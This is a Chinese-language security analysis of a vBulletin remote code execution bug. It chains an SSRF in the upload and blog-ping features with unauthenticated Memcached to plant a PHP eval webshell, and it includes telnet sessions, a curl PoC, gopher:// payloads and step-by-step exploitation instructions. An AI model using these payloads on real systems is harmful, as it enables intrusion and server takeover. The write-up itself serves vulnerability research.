vBulletin rce 0day分析

作者:Ambulong(安恒安全研究院)

0x00 前言


fd上有人公开了vBulletin0day POC,但没有提供漏洞分析过程。vBulletin是国外领先的论坛程序,国内一般称其为VBB,基于PHP+mySQL开发.vBulletin是商业软件,需付费使用。

vBulletin允许通过URL远程上传文件,但对URL并没有作严格的过滤,导致SSRF漏洞的产生。加上许多vBulletin网站同时将vBulletinMemcachedWEB服务器安装在一起,结合SSRF将导致漏洞变为命令执行。

0x01 漏洞分析


首先讲下vBulletin的plugin(hook)执行方式,vBulletin将plugin的信息(包括代码)存储在数据库,程序运行时临时从数据库读取代码执行,可以理解成将include 'pluginname.php'变成eval(getCodeFromDB('pluginname'))。在Memcache开启的情况下,vBulletin会将plugin的代码缓存在Memcached里来增加读取速度。

我们都知道访问Memcached是不需要密码的,这样一来如果Memcached的访问端口暴露在公网,我们就修改vBulletinMemcached中的plugin代码为恶意代码,这导致的后果将不堪设想。

vBulletin官网上的建议是Memcached不要和vBulletin安装在同台服务器,但许多站长对此还是视而不见,或者仅通过将防火墙设置将Memcached端口对外禁止访问就以为解决了问题。

不幸的是,vBulletin中存在SSRF漏洞,攻击者可以将存在漏洞的文件当作代理来向服务器上的Memcached发起本地请求。

Memcached未授权访问

我们首先看下Memcached的未授权访问是如何导致vBulletin命令执行的。

通过关键字查找,发现语句vBulletinHook::set_pluginlist($vbulletin->pluginlist),找到set_pluginlist的声明在文件./includes/class_hook.php中,根据注释内容:

// to call a hook:
//  require_once(DIR . '/includes/class_hook.php');
//  ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;

得知,plugin的调用方式为($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;,功能是获取plugin的代码并执行。

我们选用出现频率较高的global_start的代码,对应的语句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;,这句话在./global.php文件里,所以包含./global.php的页面都将包含我们的恶意代码。

接下来访问Memcached服务器看下pluginlist项的数据

$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
get pluginlist
...(序列化后的数组)
END
quit

获取pluginlist的数据将返回序列化后的pluginlist数组。 相关代码在./includes/class_hook.php类函数build_datastore中。

$plugins = $dbobject->query_read("
    SELECT plugin.*,
        IF(product.productid IS NULL, 0, 1) AS foundproduct,
        IF(plugin.product = 'vbulletin', 1, product.active) AS productactive
    FROM " . TABLE_PREFIX . "plugin AS plugin
    LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product)
    WHERE plugin.active = 1
        AND plugin." . "phpcode <> ''
    ORDER BY plugin.executionorder ASC
");
while ($plugin = $dbobject->fetch_array($plugins))
{
    if ($plugin['foundproduct'] AND !$plugin['productactive'])
    {
        continue;
    }
    else if (!empty($adminlocations["$plugin[hookname]"]))
    {
        $admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
    }
    else
    {
        $code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
    }
}
$dbobject->free_result($plugins);

build_datastore('pluginlist', serialize($code), 1);
build_datastore('pluginlistadmin', serialize($admincode), 1);

通过代码可知$code数组的格式为$code=array('hookname'=>'phpcode'); 我们要修改Memcached中的pluginlist代码,我们也需要将我们的代码放到$code数组内序列化后再写入Memcached

$code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
echo serialize($code)."\n".strlen(serialize($code));

输出:

a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化后的数据
59 //字符串长度

接下来就是修改pluginlist项的数据为我们的pluginlist

$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
set pluginlist 0 120 59
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";}
STORED
quit

命令修改了global_start的代码,所以包含了./global.php的页面都将含有我们的恶意代码。

这时访问http://172.16.80.156/showthread.php?eval=phpinfo();发现我们的代码已经执行。

但是在大多数情况下,Memcached是不允许外网访问,这时就需要用到下面的SSRF

SSRF(Server-side Request Forgery,服务器端请求伪造)

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

via:http://wiki.wooyun.org/web:ssrf

(注:测试前先删除上一步的pluginlist,delete pluginlist)vBulletin的远程上传功能在vB_Upload_*类和vB_vURL类中都有使用到,我们以vB_Upload_Userpic为例分析。 在文件./includes/class_upload.php中类vB_Upload_Userpic->类函数process_upload()中调用了类函数accept_upload(),之后accept_upload()调用了fetch_remote_filesize(),再来调用了vB_vURL类,最后到vB_vURL_cURL类中的exec()函数,整个过程中传入的avatarurl变量都未作任何过滤。

报告文档中的POC:http://seclists.org/fulldisclosure/2015/Aug/58

$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; 
bb_password=926944640049f505370a38250f22ae57' --data 
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'

按报告来理解的话,Memcached将执行:

HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close

但是在本地测试时,上面的EXP并不能使用,经抓包分析,在我们测试时链接中的%0D%0A并未能转换成换行符。 测试代码: #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST1);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);

抓包结果:

最后多次测试和查阅参考资料发现,在gopher协议下EXP可以复现,但是vB_Upload_Userpic只允许(http|ftp)s开头的链接。

参考资料:https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1

文中给出的Exploit:

gopher://localhost:11211/1%0astats%0aquit

dict://locahost:11211/stats

ldap://localhost:11211/%0astats%0aquit

然而将HTTP协议改为Gopher协议

$url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';

抓包结果:

可以看出,此时的%0D%0A转换成换行符了。 接下来,我们需要的是一个能带入gopher://SSRF点,经过搜索对vB_vURL的调用,位置在./blog_post.phpdonotify内,函数send_ping_notification()

函数send_ping_notification()的声明在./includes/blog_functions_post.php,函数中调用的fetch_head_request()调用了vB_vURL类来发起请求,整个过程中$url变量未作过滤。 我们在前端可勾选发表博客中的附加选项通知在这篇文章中链接的其它博客,来调用这个变量。

0x02 漏洞利用


  1. 注册用户并登录。
  2. 发表新文章(http://*host*/blog_post.php?do=newblog)。
  3. 加入超链接gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit

  1. 附加选项中勾选通知在这篇文章中链接的其它博客

  1. 发表->选择链接->提交。

  2. 访问http://*host*/showthread.php?1=phpinfo();查看是否执行成功。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐